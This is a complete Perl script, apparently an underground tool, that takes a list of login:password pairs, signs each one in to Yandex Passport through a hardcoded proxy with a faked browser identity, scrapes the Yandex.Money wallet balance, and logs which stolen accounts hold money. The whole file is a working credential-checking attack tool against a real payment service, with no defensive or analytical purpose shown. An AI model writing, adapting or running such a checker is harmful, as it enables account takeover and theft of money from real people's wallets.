#!/usr/bin/perl

use LWP::UserAgent;
use HTTP::Cookies;

######################
#writen#by#popkorn####
######################

$url['0'] = 'http://passport.yandex.ru/passport?mode=auth';
$url['1'] = 'http://money.yandex.ru/';
$proxy = '89.110.23.94:5141'; # if u don't need proxy, just set # before this line

my $ua = LWP::UserAgent->new;
my $cookie_jar = HTTP::Cookies->new;

$ua->agent('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 4.2 (build 01102))');

push @{ $ua->requests_redirectable }, 'POST';

if($proxy =~ m/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d{1,6}/){
$ua->proxy('http', "http://$proxy/"); };

open(ACCS, "<accs.txt");
open(LOG, ">logs.txt");

@accs = <ACCS>; close (ACCS);

foreach (@accs){

($login, $pass) = split(':',$_);

$pass =~ s/ |\n//;


$ua->cookie_jar($cookie_jar);

$ua->post( $url['0'],
[login => $login,
passwd => $pass]);

my $response = $ua->post($url['1']);

$content = $response->content;

$sum = 'koshel\'ka net';

while( $content =~/<a href="\/history\.xml" class="in">В Кошельке<\/a><br><span class="sum"><nobr>(\d+,\d+)/g){$sum = $1};

print LOG "$login:$pass:$sum\n";
print "$login:$pass:$sum\n";
$sum = '0 =(';

$cookie_jar->clear_temporary_cookies;

}

close (LOG);